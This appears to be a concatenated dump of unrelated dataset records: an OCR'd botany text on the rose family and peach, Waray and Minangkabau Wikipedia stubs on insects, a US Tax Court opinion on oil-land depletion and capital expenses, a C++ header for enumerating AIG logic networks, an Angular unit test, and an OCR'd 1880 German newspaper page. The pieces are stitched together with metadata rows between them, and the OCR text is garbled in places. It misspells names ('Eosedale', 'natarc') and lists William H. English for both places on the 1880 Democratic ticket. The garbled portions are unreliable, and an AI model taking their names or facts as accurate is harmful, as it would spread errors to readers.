lateral or terminal. Fruit either follicles or little drupes. Herbs or shrubs, rarely trees, with simple or compound leaves. Stipules usually united with the petiole. Pistils 5, forming follicles in fruit. Calyx 5-cleft. Styles terminal. Pistils numerous, forming in fruit dry akenes, tipped with the feathery persistent style. Calyx bracteolate, open. Pistils numerous. Styles often lateral, deciduous ; fruit of dry akenes. Calyx bracteolate, open. Receptacle of the fruit dry and small. Receptacle of the fruit becoming large and pulpy, edible. Pistils numerous. Styles terminal, deciduous ; ovaries becoming little drupes, cohering with one another or with the receptacle. Calyx open, not bracteolate. Pistils numerous, akenes long, enclosed in the tube of the urn-shaped calyx. 3. Pear Sub-family. Calyx-tube fleshy in fruit, forming a pome. Pistils 2-5, their styles more or less separate, their ovaries united with each other and with the tube of the calyx. Cells of the fruit 1 - 2-seeded. Fruit drupe-like, containing 2-5 stones. Leaves simple. Fruit with 3-5 parchment-like carpels. Leaves pinnate. Fruit berry- like, scarlet. Leaves simple. Fruit tapering to the stalk. Fruit sunk in at both ends. Cells of the fruit many-seeded, parchment-like, enveloped in muci- lage. Spisjea. Geum. POTEimT.IA.. Fkagaria. 10. RUBUS Rosa. Crat^gus. Ptrus. § 3. Pyrus. § 1. Ptrus. ^ 2. 12. CTDO^^A. 1. PEE'SICA, Tournef. Peach. [A name derived from Persia, its native country.] Calyx tubular, with 5 spreading segments. Drupe oval, tomentose or ROSE FAMILY. 113 smootli, the fleshy and succulent pulp adherent or separable from the rugosely furrowed mU. Small trees. Leaves lanceolate, serrate, condu- plicate in vernation. Flowers subsessile, solitary or in pairs, preceding the leaves. 1. P. vulgae'is, Mill. Fruit densely toraentose. Common Persica. Peach. Peach-tree. JPr. Le Pecher. Gerw . Der Pfirschenbaum. Span. 'El Melocoton. stem 8 -12 or lb feet high, branching. Leaves 3-5 inches long ; petioles half an inch long, channeled above and glandular near the leaf. Petals pale red or purphsh. Drupe with the flesh white, yellow or reddish, either adhering to the nut, and then called Cling- stone, or separable from it — when it is termed Freestone. Cultivated. Native of Persia. J'i. April. IV. Aug. - Sept. Obs. The fruit of this tree, like most of those which have had the advantage of long and careful culture, presents numerous varieties, the best of which have been perpetuated under distinctive names by the nurserymen ; such as " George the 4th," " Morris "White," &c. These kinds, the number of which is rather formidable, will be found described in standard works upon Horticulture, and in fruit growers' Catalogues. Although the tree is short-lived, its culture is managed with great spirit and success in the Middle States, particularly in Maryland, Delaware, and New Jersey ; and latterly, with the facilities afforded by steamers, our northern cities are supplied, early in the season, from as far south as Georgia. The most approved varieties are perpetuated by raising young stocks from the seeds, and inserting upon them the buds or scions of the desirable kinds. * This process, for changing the character of seedling trees, is alluded to by the great English Bard with his usual felicity : " You see, we marry A gentler scion to the wildest stock. And make conceive a bark of baser kind, By bud of nobler race : This is an art Which does mend nature — change it rather ; but The art itself is natarc."— Winter's Tale, Act. 4. Var. LiE'vis. Fruit smooth. Nectarine. The Nectarine, which was formerly considered as a distinct species, is now regarded as only a very marked variety of the Peach, from which it differs only in its smooth fruit, which presents the same varieties of ding-stone aind free-stone. Cases are recorded, in which the same tree has produced both Peaches and Nectarines. The Almond [Amygdalus communis, L., which is nearly related to the Peach — except that the drupe is dry and fibrous, instead of succu- lent, and the seed is the eatable portion), has not yet, I believe, been much cultivated within the U. States : but it may probably be success- fully introduced into Florida, and perhaps some other southern States, it having succeeded even in Pennsylvania. A dwarf variety, with the flowers all double and sterile, is well known 114 WEEDS AND USEFUL PLANTS. | 23,162 |
https://war.wikipedia.org/wiki/Polyglyptodes%20scaphiformis | Wikipedia | Open Web | CC-By-SA | 2,023 | Polyglyptodes scaphiformis | https://war.wikipedia.org/w/index.php?title=Polyglyptodes scaphiformis&action=history | Waray | Spoken | 33 | 68 | An Polyglyptodes scaphiformis in uska species han Insecta nga ginhulagway ni Fowler. An Polyglyptodes scaphiformis in nahilalakip ha genus nga Polyglyptodes, ngan familia nga Membracidae. Waray hini subspecies nga nakalista.
Mga kasarigan
Polyglyptodes | 7,847 |
4483627_1 | Court Listener | Open Government | Public Domain | 2,020 | None | None | English | Spoken | 3,049 | 3,894 | OPINION. Hill, Judge: Issue 1. — As is conceded by respondent on brief, the depletion issue involves the same type of payment to this petitioner under the same contract as was considered with respect to the years 1939 and 1940 in Louisiana Land & Exploration Co., 6 T. C. 172. In that proceeding, the opinion in which was promulgated after this case was submitted, we sustained this petitioner’s deduction of percentage depletion on such payment on the authority of Kirby Petroleum, Co. v. Commissioner, 326 U. S. 599. We accordingly hold here that petitioner properly deducted as depletion in 1941 and 1942 27y2 per cent of the amounts received from Texas in those years as 8ys per cent of the net profits from the lease operations. Issue -While petitioner concedes on brief that the $6,000 paid in 1941 for attorneys’ fees in connection with the McEnery litigation must be capitalized as an additional investment in the land which was the subject of the litigation, it contends that the $25,000 cash payment to Texas was properly capitalized as the cost of acquisition from Texas of the McEnery heirs’ lease. It is then argued that the recognition by the McEnery heirs in 1941 of petitioner’s title to the land in dispute rendered the lease ' valueless, with the result that petitioner then sustained a deductible loss in the amount of the undepleted cost thereof. Respondent’s position is that the $25,000 was expended in defense of petitioner’s title to the disputed lands and is therefore properly capitalized to that interest and brings petitioner no tax benefit except through depletion deductions or as a loss deduction when the land is disposed of. We think a realistic view of the various transactions resulting from the claim of title by the McEnery heirs compels the conclusion that the $25,000 represents an additional investment by petitioner in the land. Prior to and during the assertion of title by the McEnery heirs petitioner insisted that it was the title owner. Petitioner paid, among other amounts, the $25,000 here in question to rid itself of the difficulties created by the disputants. The McEnery heirs received, among other amounts, a $25,000 cash payment. It is stipulated here that “the basis for the [compromise] settlement was that the ‘McEnery heirs’ were to retain the $25,000 cash payment * * Although the agreement of compromise contains no provision with respect to this cash payment, the history of the controversy between the parties establishes it as part of the value received by the heirs as a result of their assertion of title. In our view the $25,000 must be regarded as part of the consideration paid by petitioner to quiet the claim of the heirs by securing from them a recognition of its ownership of the land, and it must therefore be capitalized to the land. Murphy Oil Co. v. Burnet, 55 Fed. (2d) 17, 25. Petitioner urges on brief that the $25,000 payment is in an entirely different category from the amounts paid directly in the conduct and settlement of the litigation. We have not overlooked the fact that petitioner actually made the payment in question to Texas as reimbursement to it of the amount paid the McEnery heirs and that Texas conditionally agreed to assign the McEnery lease to petitioner. It is also true that the payment and the agreement predated the final settlement of the controversy and that the McEnery heirs were not parties to the former. As indicated above, however, we are of the opinion that the acts and motives of petitioner, Texas, and the McEnery heirs with respect to this land must be viewed in their relation to the title dispute and their effect upon its outcome. Cf. Hoboken Land & Improvement Co., 46 B. T. A. 495, 511; affirmed on other issues, 138 Fed. (2d) 104; Ravlin Corporation, 19 B. T. A. 1112, 1115; Ed Foster, 19 B. T. A. 958, 961. The success of petitioner’s overall effort to protect its investment in the land was undoubtedly due in part to the $25,000 cash payment. We are not called upon to consider the tax consequence of the payment under circumstances other than those which actually occurred and, even aside from the fact that petitioner never acquired the McEnery lease, we are not persuaded that the immediate circumstances surrounding the outlay of the $25,000 afford a sound basis for treating it differently from the expenditures which petitioner concedes must be capitalized to the land as the cost of perfecting title thereto. Cf. Burton-Sutton Oil Co. v. Commissioner, 150 Fed. (2d) 621; certiorari denied on this issue, 326 U. S. 755, and cases there cited. We accordingly hold that respondent correctly disallowed the deduction of $25,000 as a loss sustained in 1941. As is conceded by petitioner, the disallowance of the deduction of $6,000 attorneys’ fees was also proper and we so hold. Issue 3. — This issue involves the deductibility of an amount spent by petitioner in 1941 for a geophysical survey of property under lease to it at the time the survey was made. Petitioner contends that the total amount is deductible under section 23 (a) (1) (A) of the Internal Revenue Code as an ordinary and necessary business expense. In the alternative, petitioner argues that all of such amount is so deductible except that attributable to the 2,080-acre lease acquired after the survey was made. Respondent’s position is that the entire expenditure is “in the nature of an addition to lease cost” and, under section 24 (a) (2) of the Internal Revenue Code and section 19.24-2 of Regulations 103, must be capitalized. Section 24 (a) (2) prohibits the deduction of amounts paid “for permanent improvements or betterments made to increase the value of any property or estate.” Section 19.24-2 of Regulations 103 provides that “amounts paid for increasing the capital value * * * of property are not deductible from gross income.” Petitioner contends that section 24 (a) (2) does not prohibit the deduction claimed. It is argued that the geophysical survey was not an improvement or betterment of its property, because it added nothing tangible thereto, and that it did not and could not increase the value of the property for oil-producing purposes because there was just as much oil and gas on the land prior to the survey as there was afterwards. We deem it unnecessary to discuss either the arguments of petitioner with respect to the scope of section 24 (a) (2) or those as to the “ordinary and necessary” character of the expenditure in question, for in our view the geophysical expense here involved is capital in nature and is for that reason not deductible under section 23 (a) (1) (A). The distinction between capital expenditures and business expenses is generally made by looking to the extent and permanency of the benefit derived from the outlay. The benefit from business expenses is generally realized and exhausted within a year and the expense is therefore said to be of a recurring nature. See W. B. Harbeson Lumber Co., 24 B. T. A. 542, 550. On the other hand, an item of expense is of a capital nature where it results in the taxpayer’s acquisition or retention of a capital asset, or in the improvement or development of a capital asset in such a way that the benefit of the expenditure is enjoyed over a comparatively lengthy period of business operation. See Commissioner v. Boylston Market Assn., 131 Fed. (2d) 966; Clark Thread, Co. v. Commissioner, 100 Fed. (2d) 257; Parkersburg Iron & Steel Co. v. Burnet, 48 Fed. (2d) 163; James M. Osborn, 3 T. C. 603. A capital expenditure is thus nonrecurring, even though many similar expenditures are made by the taxpayer. The one-year period referred to above is not, of course, a touchstone to be arbitrarily applied, but is resorted to in definition as an aid in expressing the distinction. It should also be observed that in exceptional cases certain expenses which might never recur have been held to be deductible business expenses. See, e. g., Kornhauser v. United States, 276 U. S. 145. The theory of those decisions, however, suggests no conflict with the basic nature of a capital expense as stated above, and the item here involved is not similar to the items considered in those cases. As to the function and frequency of geophysical surveys in the oil-producing business, we can only rely here upon such inferences as may be drawn from the portion of the stipulation which sets forth the technical procedure by which such a survey is made. On this issue, the record contains no evidence other than the stipulation. We think, however, that the agreed facts do justify a conclusion in accord with petitioner’s statement on brief that the purpose of this geophysical survey was to determine whether the land contained subsurface structures sufficiently high so as to make drilling for oil economically feasible. It thus appears that the results of this survey were to guide petitioner in determining generally whether and to what extent these large areas of land should be explored by drilling wells. Whether or not the scientific knowledge gained from the survey indicated that drilling would be successful or unsuccessful, it was undoubtedly the information upon which would be based further tests and potential drilling operations during the entire period of petitioner’s exploitation of the land for oil and gas. Cf. Parkersburg Iron & Steel Co. v. Burnet, supra, at page 165. This survey was not connected with the drilling of any particular well or wells and was not confined to any restricted area which had been tentatively singled out as the location of a well. Under these circumstances it seems abundantly "clear that the survey was the first step in the over-all development for oil of these tracts of land and that the benefit derived from the expenditure was to be enjoyed by petitioner in its business during the entire useful life of the asset being developed. Cf. Repplier Coal Co. v. Commissioner, 140 Fed. (2d) 554; certiorari denied, 323 U. S. 736; Rialto Mining Corporation, 25 B. T. A. 980, 985. It is well settled that development expenses such as the platting, mapping, and subdividing of a tract of land held for sale must be capitalized and treated as an adjustment of the taxpayer’s basis for such property. Mellie Esperson Stewart, 35 B. T. A. 406, 412; Frishkorn Real Estate Co., 15 B. T. A. 463, and we are unable to perceive any significant difference between such expenses and the one involved here. For these reasons we conclude that the geophysical expense in question is a capital expense. Petitioner suggests on brief that geophysical expenses are deductible by analogy to the deduction of costs for geological work in preparation for the drilling of wells. Such a deduction is granted taxpayers at their option by section 29.23 (m)-16 (a) (1) of Regulations 103, which, of course, does not establish that such geological expense is within the scope of section 23 (a) (1) (A). Indeed, it may be questioned whether the existence of the option does not indicate that all geophysical expenses incurred in preparation for the drilling of wells, which are capital assets, are capital in nature. So broad a question is not now before us, however, and we express no opinion with respect to it. See C. M. Nusbaum, 10 B. T. A. 664; Seletha O. Thompson, 9 B. T. A. 1342. Petitioner does not contend that the expenditure here involved is deductible under the option accorded by the regulations, and if such contention were made we should decline to adopt it. The option is directed to the costs of preparations for the drilling of particular wells after the drilling has been at least tentatively decided upon, which preparations are far removed from over-all geophysical exploration such as we are here considering. We hold that the petitioner’s expenditure for geophysical explorations in 1941 on the leases held from Louisiana Furs, Inc., is not deductible as business expense. Issue l. — Petitioner contends that its lessee’s completion of the dry hole on Eosedale Plantation in 1942 determined that the mineral rights in that land were valueless, and that it thereby sustained a deductible loss in the amount of the portion of the purchase price of the fee which is allocable to those rights. Respondent argues, first, that the completion of the dry hole did not establish the worthlessness of the land for oil or gas production and, secondly, that even if it did, no deductible loss was sustained thereby, since petitioner retained the fee title to the land. We find it unnecessary to consider the probative value of the Benedum dry hole as to the worthlessness of Rosedale Plantation for oil and gas production, for, even if such worthlessness were proved, we could not agree that petitioner sustained the deductible loss claimed. Petitioner purchased Rosedale Plantation in 1936 for $30,000 and still owns it, surface and subsurface. Petitioner hoped, and no doubt believed, at the time of purchase that the land was oil or gas bearing, and the amount of the purchase price reflected this possibility. In 1942, we assume arguendo, it became clear that no oil or gas may ever be profitably recovered from Rosedale. On these facts, petitioner asks us to conclude that it has sustained a deductible loss. In our view, Coalinga-Mohawk Oil Co., 25 B. T. A. 261; affd., 64 Fed. (2d) 262; certiorari denied, 290 U. S. 637, disposes of this issue in favor of respondent. The taxpayer there purchased a tract of land in 1918 for $80,000, solely as an oil prospect, and retained title to the land until 1923. The respondent admitted in that case that in 1921 it was determined that the land contained no oil and was worth only $2,000. We held that no part of the purchase price was deductible by the taxpayer in 1921 as a loss sustained in that year, since only a reduction in value, and not worthlessness, had been shown. On brief petitioner has attempted to distinguish the facts in the Godlinga case from those here, but we find no significance in whatever difference there may be. It is also argued that that decision and an earlier one to the same effect in Fred C. Champlin, 1 B. T. A. 1255, are now outmoded because: The rule to he deduced from the more recent cases is that where worthlessness of real property, including a mineral interest, is established by some identifiable event occurring in the year the loss is claimed, it is allowable as a deduction without the taxpayer having divested himself of legal title to the property. * * * That rule seems to be correct, but in our view it does not conflict with the principle of the Coalinga case or authorize the deduction claimed by petitioner. In C. C. Harmon, 1 T. C. 40, where we held that disposal of worthless oil and gas royalties was not a prerequisite to deduction of the unrecovered cost thereof, it was made clear that the rationale of the rule stated by petitioner is to be found in the opinion of the Supreme Court in Lucas v. American Code Co., 280 U. S. 445, as follows: Generally speaking, the income tax law is concerned only with realized losses * * *. Exception is made, however, in the case of losses which are so reasonably certain in fact and ascertainable in amount as to justify their deduction, in certain circumstances, before they are absolutely realized. * * * The general requirement that losses be deducted in the year in which they are sustained calls for a practical, not a legal, test. * * * Petitioner’s position suffers, not from its failure to quitclaim its rights to any oil or gas in Eosedale, but from its failure to come within the exception to the restriction of deductible losses to those “absolutely realized.” We find in Perkins v. Thomas, 15 Fed. Supp. 356; modified, 86 Fed. (2d) 954; affirmed on another issue sub nom Thomas v. Perkins, 301 U. S. 655, cited by petitioner, no substitute for a compliance with the general requirement that losses be so guaranteed to be deductible. In the Harmon case, and in each of the similar cases cited by petitioner, the taxpayer proved that the asset involved was worthless for all practical purposes and it was held that disposal thereof was unnecessary to establish the certainty or the amount of the loss. Such a situation is far different from that here. The record shows and we have found as a fact that Eosedale Plantation had substantial value in 1942. But, cf. Bickerstaff v. Commissioner, 128 Fed. (2d) 366, and Rhodes v. Commissioner. 100 Fed. (2d) 966. It is by no means clear that even the subsurface was valueless, for it had apparently never been explored for valuable deposits other than oil or gas, and prior to the disposal of the land by petitioner some known but presently worthless deposits may yet come to have value as the result of newly discovered uses therefor. Petitioner has not even shown either that Eosedale Plantation was worth any less in 1942 than the $30,000 acquisition price, or that the “mineral rights” therein were worth less in 1942 than the $15,000 they were stipulated to be worth in 1936. The most that this record tends to show, and we do not decide that it shows that, is that Eosedale Plantation had no value for one particular purpose — the production of oil or gas. We can not conclude from such a showing that a loss by petitioner with respect to Eosedale was reasonably certain in fact in 1942, or ascertainable in amount. We think the Coalinga case is unimpaired in authority by subsequent decisions and, had petitioner not strenuously urged its reconsideration, we should have disposed of this issue by merely adopting the forceful reasoning of that opinion. We can, in addition, foresee innumerable administrative difficulties as a consequence of allowing a taxpayer, upon showing that an asset owned by him is valueless for one of several purposes for which it was acquired, to deduct the part of the purchase price which might be apportioned to that purpose. | 14,768 |
https://min.wikipedia.org/wiki/Anopheles%20algeriensis | Wikipedia | Open Web | CC-By-SA | 2,023 | Anopheles algeriensis | https://min.wikipedia.org/w/index.php?title=Anopheles algeriensis&action=history | Minangkabau | Spoken | 32 | 87 | Anopheles algeriensis adolah saikua rangik dari famili Culicidae. Spesies ko juo marupokan bagian dari ordo Diptera, kelas Insecta, filum Arthropoda, dan kingdom Animalia.
Spesies iko mahisok darah dari vertebrata hiduik.
Rujuakan
Culicidae | 8,512 |
https://github.com/gian21391/enumeration_tool/blob/master/include/enumeration_tool/enumerators/aig_enumerator.hpp | Github Open Source | Open Source | MIT | null | enumeration_tool | gian21391 | C++ | Code | 1,464 | 4,206 | /* MIT License
*
* Copyright (c) 2019 Gianluca Martino
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#pragma once
#include <enumeration_tool/grammar.hpp>
#include <mockturtle/networks/aig.hpp>
enum EnumerationSymbols
{
False, True, Not, And, A, B, C, D, E, F, G, H, I, And_F_TT, And_F_FT, And_T_FT, And_T_FF, And_F_FF, And_F_TF, And_T_TF
};
class aig_enumeration_interface : public enumeration_interface<mockturtle::aig_network, mockturtle::aig_network::signal, EnumerationSymbols> {
public:
using EnumerationType = mockturtle::aig_network;
using NodeType = mockturtle::aig_network::signal;
using SymbolType = EnumerationSymbols;
using TruthTable = kitty::dynamic_truth_table;
[[nodiscard]]
auto get_symbol_types() const -> std::vector<SymbolType> override
{// 0 1 2 3 4 5 6 7 8 9 10
return { A, B, C, And, And_T_FT, And_T_FF, And_T_TF };
}
[[nodiscard]]
auto get_terminal_symbol_types() const -> std::vector<SymbolType> override {
return { A, B, C };
}
[[nodiscard]]
auto get_possible_children(SymbolType t) const -> std::vector<SymbolType> override
{
if (t == And || t == And_F_TT || t == And_F_FT || t == And_T_FT || t == And_F_TF || t == And_T_TF) {
return { False, And, A, B, C, And_T_FT, And_T_FF, And_T_TF };
}
if (t == And_T_FF || t == And_F_FF) {
return { False, And, A, B, C, And_T_FT, And_T_FF, And_T_TF };
}
return {};
}
auto get_enumeration_attributes(SymbolType t) -> enumeration_attributes override {
if (t == And || t == And_F_TT || t == And_F_FT || t == And_T_FT || t == And_T_FF || t == And_F_FF || t == And_F_TF || t == And_T_TF) {
return {enumeration_attributes::commutative, enumeration_attributes::same_gate_exists, enumeration_attributes::idempotent};
}
return {};
}
[[nodiscard]]
auto get_num_children(SymbolType t) const -> uint32_t override {
if (t == And || t == And_F_TT || t == And_F_FT || t == And_T_FT || t == And_T_FF || t == And_F_FF || t == And_F_TF || t == And_T_TF) { return 2; }
return 0;
}
[[nodiscard]]
auto get_node_cost(SymbolType) const -> int32_t override {
return 1;
throw std::runtime_error("Unknown NodeType. Where did you get this type?");
}
[[nodiscard]]
auto get_possible_roots_types() const -> std::vector<SymbolType> override
{
return { False, And, A, B, C, And_F_TT, And_F_FT, And_T_FT, And_T_FF, And_F_FF, And_F_TF, And_T_TF };
}
// for constructing the aig_network
auto get_output_constructor() -> output_callback_fn override
{
return [](const std::shared_ptr<EnumerationType>& store, const std::vector<NodeType>& children)
{
assert(store);
for (const auto& child : children) {
store->create_po(child);
}
};
}
auto get_node_constructor(SymbolType t) -> node_constructor_callback_fn override {
if (t == False) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->get_constant(false); }; }
if (t == True) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->get_constant(true); }; }
if (t == Not) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 1); assert(store); return !*(children.begin()); };}
if (t == And) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return store->create_and(*children.begin(), *(children.begin() + 1)); };}
if (t == A) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("A"); };}
if (t == B) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("B"); }; }
if (t == C) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("C"); }; }
if (t == D) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("D"); }; }
if (t == E) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("E"); }; }
if (t == F) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("F"); }; }
if (t == G) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("G"); }; }
if (t == H) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("H"); }; }
if (t == I) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 0); assert(store); return store->create_pi("I"); }; }
if (t == And_F_TT) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return !store->create_and(*children.begin(), *(children.begin() + 1)); };}
if (t == And_F_FT) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return !store->create_and(!*children.begin(), *(children.begin() + 1)); };}
if (t == And_T_FT) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return store->create_and(!*children.begin(), *(children.begin() + 1)); };}
if (t == And_T_FF) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return store->create_and(!*children.begin(), !*(children.begin() + 1)); };}
if (t == And_F_TF) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return !store->create_and(*children.begin(), !*(children.begin() + 1)); };}
if (t == And_T_TF) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return store->create_and(*children.begin(), !*(children.begin() + 1)); };}
if (t == And_F_FF) { return [](const std::shared_ptr<EnumerationType>& store, const std::initializer_list<NodeType>& children) -> NodeType { assert(children.size() == 2); assert(store); return !store->create_and(!*children.begin(), !*(children.begin() + 1)); };}
throw std::runtime_error("Unknown NodeType. Where did you get this type?");
}
// for simulation
auto get_node_operation(SymbolType t) -> node_operation_callback_fn override
{
if (t == False) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), false)); created = true; } return tt; };}
if (t == True) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), true)); created = true; } return tt; };}
if (t == Not) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 1); return ~(*tts.begin()); };}
if (t == And) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return (*tts.begin()) & (*(tts.begin() + 1)); };}
if (t == A) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), 0)); created = true; } return tt; };}
if (t == B) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), 1)); created = true; } return tt; };}
if (t == C) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), 2)); created = true; } return tt; };}
// if (t == D) { return [&, created = false, tt = TruthTable(get_terminal_symbol_types().size())](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) mutable -> TruthTable { assert(tts.size() == 0); if (!created) { kitty::create_from_hex_string(tt, create_hex_string(get_terminal_symbol_types().size(), 3)); created = true; } return tt; };}
if (t == And_F_TT) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ~((*tts.begin()) & (*(tts.begin() + 1))); };}
if (t == And_F_FT) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ~((~(*tts.begin())) & *(tts.begin() + 1)); };}
if (t == And_T_FT) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ((~(*tts.begin())) & *(tts.begin() + 1)); };}
if (t == And_T_FF) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ((~(*tts.begin())) & (~(*(tts.begin() + 1)))); };}
if (t == And_F_TF) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ~((*tts.begin()) & (~(*(tts.begin() + 1)))); };}
if (t == And_T_TF) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ((*tts.begin()) & (~(*(tts.begin() + 1)))); };}
if (t == And_F_FF) { return [](const std::initializer_list<std::reference_wrapper<const TruthTable>>& tts) -> TruthTable { assert(tts.size() == 2); return ~((~(*tts.begin())) & (~(*(tts.begin() + 1)))); };}
throw std::runtime_error("Unknown NodeType. Where did you get this type?");
}
}; | 37,702 |
https://github.com/lucas-ssgomes/ArmarioEntregas/blob/master/src/app/login-loja-fisica/login-loja-fisica.component.spec.ts | Github Open Source | Open Source | MIT | 2,022 | ArmarioEntregas | lucas-ssgomes | TypeScript | Code | 54 | 212 | import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { LoginLojaFisicaComponent } from './login-loja-fisica.component';
describe('LoginLojaFisicaComponent', () => {
let component: LoginLojaFisicaComponent;
let fixture: ComponentFixture<LoginLojaFisicaComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ LoginLojaFisicaComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(LoginLojaFisicaComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
| 33,197 |
sn83045350_1880-08-26_1_5_1 | US-PD-Newspapers | Open Culture | Public Domain | 1,880 | None | None | German | Spoken | 3,313 | 5,689 | Der Nordstern. Donnerstag, 19. August, 1880. Editoriellesch Demokratisches Ticket Für Präsident: William H. English, von Pennsylvania. Für Birk-Präsident: William H. English. von Indiana. Demokratische Convention des 8. Congress Difiriktes Dieselbe findet in Minneapolis am Dienstag den 7. September statt und beginnt um 10 Uhr Vormittags. In derselben soll auf der Basis des letzten Votums für den demokratischen Gouverneurscandidaten in 1879 ein Kandidat der demokratischen Partei des dritten Distrikts von Minnesota für den Ver. Staaten Congress erwählt werden, für welchen bei der im November 1880 stattfindenden Wahl abgestimmt wird Die Counties des Distrikts sind zu der folgenden Anzahl von Delegaten berechtigt: Aitkin 1 Jsanti 2 Pope 3 Anoka 4 Kanabec 1 Ramsey 29 Becker 2 Kittson 1 Ct. Louis 3 Benton 3 Lac qui Parle 2 Herburne 3 Big Stone 1 Lake 1 Stearns 14 Carlton 2 Meeker 7 Steyens 3 Caß 1 Mille Lacs 2 Todd 2 Chicago 2 Morrison 4 Wadena 1 Clay 2 Otter Tail 6 Washington 9 Crow Wing 2 Pembina 1 Wilkin 2 Douglas 4 Pine 2 Wright 9 Grant 1 Polk 2 Nellow Medicinein 1 Hennepin 20 Robert A. S mi th, Borfitzer. Ein nenes Conzil. Ein offiziöses Organ der französischen Regierung, der „Telegraphe" meldet, dass das durch den Krieg von 1870 und den Einzug der italienischen 